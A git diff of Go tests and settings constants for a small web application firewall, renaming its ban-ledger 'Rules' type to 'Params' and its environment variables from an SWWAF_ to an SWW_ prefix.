netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -80,9 +80,9 @@ func TestRepeatWindowRunsOut(t *testing.T) {
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.LimitBanDuration = rules.MaxBanDuration + time.Hour params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(rules) ledger := bans.New(params)
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
bans.Notes{}) bans.Notes{})
@@ -97,9 +97,9 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13 // With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// hours, is within the maximum, and three times as long would not fit // hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent. // in a time.Duration. The 15th is permanent.
rules := defaultRules() params := defaultParams()
rules.MaxBanDuration = 100000 * day params.MaxBanDuration = 100000 * day
ledger := bans.New(rules) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -121,7 +121,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -146,7 +146,7 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
@@ -178,7 +178,7 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
func TestFindCountsNothing(t *testing.T) { func TestFindCountsNothing(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
@@ -200,9 +200,9 @@ func TestFindCountsNothing(t *testing.T) {
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t.Parallel() t.Parallel()
rules := defaultRules() params := defaultParams()
rules.MaxBans = 3 params.MaxBans = 3
ledger := bans.New(rules) ledger := bans.New(params)
a := netip.MustParsePrefix("203.0.113.1/32") a := netip.MustParsePrefix("203.0.113.1/32")
b := netip.MustParsePrefix("203.0.113.2/32") b := netip.MustParsePrefix("203.0.113.2/32")
c := netip.MustParsePrefix("203.0.113.3/32") c := netip.MustParsePrefix("203.0.113.3/32")
@@ -239,9 +239,9 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
// With room for one ban, the netblock's ended ban goes to make room for // With room for one ban, the netblock's ended ban goes to make room for
// its new one, whose notes still count it. // its new one, whose notes still count it.
rules := defaultRules() params := defaultParams()
rules.MaxBans = 1 params.MaxBans = 1
ledger := bans.New(rules) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -258,7 +258,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
notes := bans.Notes{RuleID: "env-file", Target: "path"} notes := bans.Notes{RuleID: "env-file", Target: "path"}
@@ -304,7 +304,7 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
// A ban for a broken limit before does not count. // A ban for a broken limit before does not count.
@@ -336,7 +336,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
@@ -380,7 +380,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) { func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -414,7 +414,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the seven days would be permanent; a limit broken as the // Three times the seven days would be permanent; a limit broken as the
@@ -436,7 +436,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
func TestRequestTextsAreCutTo256Bytes(t *testing.T) { func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
long := strings.Repeat("a", 300) long := strings.Repeat("a", 300)
request := bans.Request{ request := bans.Request{
@@ -458,7 +458,7 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("198.51.100.7/32") other := netip.MustParsePrefix("198.51.100.7/32")
@@ -494,9 +494,9 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
} }
} }
// defaultRules are the rules at the settings' defaults. // defaultParams are the params at the settings' defaults.
func defaultRules() bans.Rules { func defaultParams() bans.Params {
return bans.Rules{ return bans.Params{
LimitBanDuration: time.Hour, LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day, LimitBanRepeatWindow: day,
MaxBanDuration: 7 * day, MaxBanDuration: 7 * day,
+3 -3
View File
@@ -15,7 +15,7 @@ const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) { func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
@@ -49,7 +49,7 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{}) ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
@@ -72,7 +72,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) { func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the // Three times the three days would be permanent; a limit broken as the
+15 -15
View File
@@ -14,7 +14,7 @@ import (
func TestChangedAfterABanIsMade(t *testing.T) { func TestChangedAfterABanIsMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -38,7 +38,7 @@ func TestChangedAfterABanIsMade(t *testing.T) {
func TestSnapshotListsEveryBanByNetblock(t *testing.T) { func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
v6 := netip.MustParsePrefix("2001:db8::/64") v6 := netip.MustParsePrefix("2001:db8::/64")
high := netip.MustParsePrefix("203.0.113.10/32") high := netip.MustParsePrefix("203.0.113.10/32")
low := netip.MustParsePrefix("203.0.113.9/32") low := netip.MustParsePrefix("203.0.113.9/32")
@@ -67,14 +67,14 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
func TestLoadedBansCarryOn(t *testing.T) { func TestLoadedBansCarryOn(t *testing.T) {
t.Parallel() t.Parallel()
before := bans.New(defaultRules()) before := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1}) ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
// Loaded into a new ledger, as across a restart, the ban still refuses // Loaded into a new ledger, as across a restart, the ban still refuses
// while it lasts, and once it has ended a broken limit bans for three // while it lasts, and once it has ended a broken limit bans for three
// times as long, with the loaded ban counted among the earlier ones. // times as long, with the loaded ban counted among the earlier ones.
after := bans.New(defaultRules()) after := bans.New(defaultParams())
after.Load(before.Snapshot()) after.Load(before.Snapshot())
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
@@ -96,7 +96,7 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// Two entries as an admin might write them, with addresses not masked // Two entries as an admin might write them, with addresses not masked
// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's // to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
// ban covers, beside a ban the ledger makes on one IPv4 address. // ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()}, {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()}, {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
@@ -145,7 +145,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
Expires: midnight().Add(time.Hour), Expires: midnight().Add(time.Hour),
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{permanent, ended}) ledger.Load([]bans.Ban{permanent, ended})
now := midnight().Add(2 * time.Hour) now := midnight().Add(2 * time.Hour)
@@ -173,7 +173,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
t.Parallel() t.Parallel()
// A 9-hour ban smallwebwaf made, the third in a row, and an admin's // A 9-hour ban sww made, the third in a row, and an admin's
// 1-hour ban added to bans.json over it, with no cause and no notes. // 1-hour ban added to bans.json over it, with no cause and no notes.
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
nineHours := bans.Ban{ nineHours := bans.Ban{
@@ -189,7 +189,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
Expires: midnight().Add(2 * time.Hour), Expires: midnight().Add(2 * time.Hour),
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{nineHours, admins}) ledger.Load([]bans.Ban{nineHours, admins})
// Once both have ended, a limit broken within the repeat window bans // Once both have ended, a limit broken within the repeat window bans
@@ -219,9 +219,9 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
Cause: bans.CauseLimit, Cause: bans.CauseLimit,
} }
rules := defaultRules() params := defaultParams()
rules.MaxBans = 1 params.MaxBans = 1
ledger := bans.New(rules) ledger := bans.New(params)
ledger.Load([]bans.Ban{later, earlier}) ledger.Load([]bans.Ban{later, earlier})
held := ledger.Snapshot() held := ledger.Snapshot()
@@ -235,9 +235,9 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// Room for three bans, so that the second load, were it added to the // Room for three bans, so that the second load, were it added to the
// two bans held, would drop none of them to make room. // two bans held, would drop none of them to make room.
rules := defaultRules() params := defaultParams()
rules.MaxBans = 3 params.MaxBans = 3
ledger := bans.New(rules) ledger := bans.New(params)
kept := bans.Ban{ kept := bans.Ban{
Netblock: netip.MustParsePrefix("2001:db8::/64"), Netblock: netip.MustParsePrefix("2001:db8::/64"),
Start: midnight(), Start: midnight(),
@@ -285,7 +285,7 @@ func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
}}, }},
} }
ledger := bans.New(defaultRules()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ban}) ledger.Load([]bans.Ban{ban})
cut := long[:256] cut := long[:256]
+683 -295
View File
File diff suppressed because it is too large. Load diff
+433 -175
View File
@@ -23,99 +23,100 @@ import (
// The settings, by name. // The settings, by name.
const ( const (
listenAddr = "SWWAF_LISTEN_ADDR" listenAddr = "SWW_LISTEN_ADDR"
mode = "SWWAF_MODE" mode = "SWW_MODE"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX" ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS" maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS" allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS" denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" rateLimitPerHour = "SWW_RATE_LIMIT_PER_HOUR"
rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE" bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR" bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY" bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCount = "SWWAF_BYTES_COUNT" bytesCount = "SWW_BYTES_COUNT"
lookupSource = "SWWAF_LOOKUP_SOURCE" lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWWAF_LOOKUP_DB_PATH" lookupDBPath = "SWW_LOOKUP_DB_PATH"
lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" tagLists = "SWW_TAG_LISTS"
asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT" tagDeny = "SWW_TAG_DENY"
countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT" tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT" asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT" countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT" unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL" asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
blocklistURLs = "SWWAF_BLOCKLIST_URLS" blocklistURLs = "SWW_BLOCKLIST_URLS"
blocklistRefresh = "SWWAF_BLOCKLIST_REFRESH" blocklistRefresh = "SWW_BLOCKLIST_REFRESH"
blocklistAction = "SWWAF_BLOCKLIST_ACTION" blocklistAction = "SWW_BLOCKLIST_ACTION"
dnsblZones = "SWWAF_DNSBL_ZONES" dnsblZones = "SWW_DNSBL_ZONES"
dnsblResolver = "SWWAF_DNSBL_RESOLVER" dnsblResolver = "SWW_DNSBL_RESOLVER"
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY" abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE" abuseIPDBMinScore = "SWW_ABUSEIPDB_MIN_SCORE"
abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET" abuseIPDBDailyBudget = "SWW_ABUSEIPDB_DAILY_BUDGET"
reputationAction = "SWWAF_REPUTATION_ACTION" reputationAction = "SWW_REPUTATION_ACTION"
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL" reputationCacheTTL = "SWW_REPUTATION_CACHE_TTL"
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT" reputationTimeout = "SWW_REPUTATION_TIMEOUT"
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL" routeWatchURL = "SWW_ROUTEWATCH_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY" crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
banResponse = "SWWAF_BAN_RESPONSE" crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" banResponse = "SWW_BAN_RESPONSE"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" limitBanDuration = "SWW_LIMIT_BAN_DURATION"
maxBanDuration = "SWWAF_MAX_BAN_DURATION" limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" maxBanDuration = "SWW_MAX_BAN_DURATION"
maxBans = "SWWAF_MAX_BANS" attackBanDuration = "SWW_ATTACK_BAN_DURATION"
banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" maxBans = "SWW_MAX_BANS"
stateDir = "SWWAF_STATE_DIR" banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" stateDir = "SWW_STATE_DIR"
stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" stateWriteDelay = "SWW_STATE_WRITE_DELAY"
adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWWAF_METRICS_TOP_N" metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
instanceName = "SWWAF_INSTANCE_NAME" metricsTopN = "SWW_METRICS_TOP_N"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" instanceName = "SWW_INSTANCE_NAME"
logLevel = "SWWAF_LOG_LEVEL" logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
rulesDir = "SWWAF_RULES_DIR" logLevel = "SWW_LOG_LEVEL"
rulesEnabled = "SWWAF_RULES_ENABLED" rulesDir = "SWW_RULES_DIR"
wafMode = "SWWAF_WAF_MODE" rulesEnabled = "SWW_RULES_ENABLED"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL" wafMode = "SWW_WAF_MODE"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" wafParanoiaLevel = "SWW_WAF_PARANOIA_LEVEL"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
exclusionsFile = "SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" trapPaths = "SWW_TRAP_PATHS"
logRemoteURL = "SWWAF_LOG_REMOTE_URL" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE" logRemoteURL = "SWW_LOG_REMOTE_URL"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" logRemoteTLSCAFile = "SWW_LOG_REMOTE_TLS_CA_FILE"
logRemoteFacility = "SWWAF_LOG_REMOTE_FACILITY" logRemoteBuffer = "SWW_LOG_REMOTE_BUFFER"
logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME" logRemoteFacility = "SWW_LOG_REMOTE_FACILITY"
alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL" logRemoteAppName = "SWW_LOG_REMOTE_APP_NAME"
alertWebhookHeaders = "SWWAF_ALERT_WEBHOOK_HEADERS" alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertSlackWebhookURL = "SWWAF_ALERT_SLACK_WEBHOOK_URL" alertWebhookHeaders = "SWW_ALERT_WEBHOOK_HEADERS"
alertNtfyURL = "SWWAF_ALERT_NTFY_URL" alertSlackWebhookURL = "SWW_ALERT_SLACK_WEBHOOK_URL"
alertNtfyToken = "SWWAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name alertNtfyURL = "SWW_ALERT_NTFY_URL"
alertEvents = "SWWAF_ALERT_EVENTS" alertNtfyToken = "SWW_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
alertCooldown = "SWWAF_ALERT_COOLDOWN" alertEvents = "SWW_ALERT_EVENTS"
alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" alertCooldown = "SWW_ALERT_COOLDOWN"
anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX" alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX" anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
watchNets = "SWWAF_WATCH_NETS" anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS"
) )
// The anomaly thresholds: each of the prefixes below, which name a scope, // The anomaly thresholds: each of the prefixes below, which name a scope,
// followed by each of the four ends. // followed by each of the four ends.
const ( const (
anomalyClient = "SWWAF_ANOMALY_CLIENT_" anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWWAF_ANOMALY_NET_" anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWWAF_ANOMALY_ASN_" anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWWAF_ANOMALY_TOTAL_" anomalyTotal = "SWW_ANOMALY_TOTAL_"
watch = "SWWAF_WATCH_" watch = "SWW_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR" requestsPerHour = "REQUESTS_PER_HOUR"
@@ -156,21 +157,21 @@ func loggedAnomalyDefaults() map[string]string {
return logged return logged
} }
// defaultAlertEvents is the default of SWWAF_ALERT_EVENTS, and // defaultAlertEvents is the default of SWW_ALERT_EVENTS, and
// defaultAlertCooldown that of SWWAF_ALERT_COOLDOWN. // defaultAlertCooldown that of SWW_ALERT_COOLDOWN.
const ( const (
defaultAlertEvents = "ban,permanent_ban,waf_block,anomaly,reputation_hit," + defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
"source_failure,file_error" "source_failure,file_error"
defaultAlertCooldown = "15m" defaultAlertCooldown = "15m"
) )
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL. // defaultReputationCacheTTL is the default of SWW_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h" const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES. // defaultWAFDisabledRules is the default of SWW_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140" const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. // defaultLogRequestHeaders is the default of SWW_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range" "content-type,origin,range"
@@ -195,10 +196,10 @@ const (
otherToken = "fedcba9876543210fedcba9876543210" otherToken = "fedcba9876543210fedcba9876543210"
) )
// instance is an SWWAF_INSTANCE_NAME that is a valid app name too, and // instance is an SWW_INSTANCE_NAME that is a valid app name too, and
// remoteURL an SWWAF_LOG_REMOTE_URL, for the tests that send the lines. // remoteURL an SWW_LOG_REMOTE_URL, for the tests that send the lines.
const ( const (
instance = "fsn1app1/gitea" instance = "fsn1app1/blog"
remoteURL = "syslog+udp://192.0.2.1:514" remoteURL = "syslog+udp://192.0.2.1:514"
) )
@@ -208,7 +209,10 @@ const off = "off"
// enabled is true, as a setting's value. // enabled is true, as a setting's value.
const enabled = "true" const enabled = "true"
// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE, and // disabled is false, as a setting's value.
const disabled = "false"
// defaultLookupSource is the default of SWW_LOOKUP_SOURCE, and
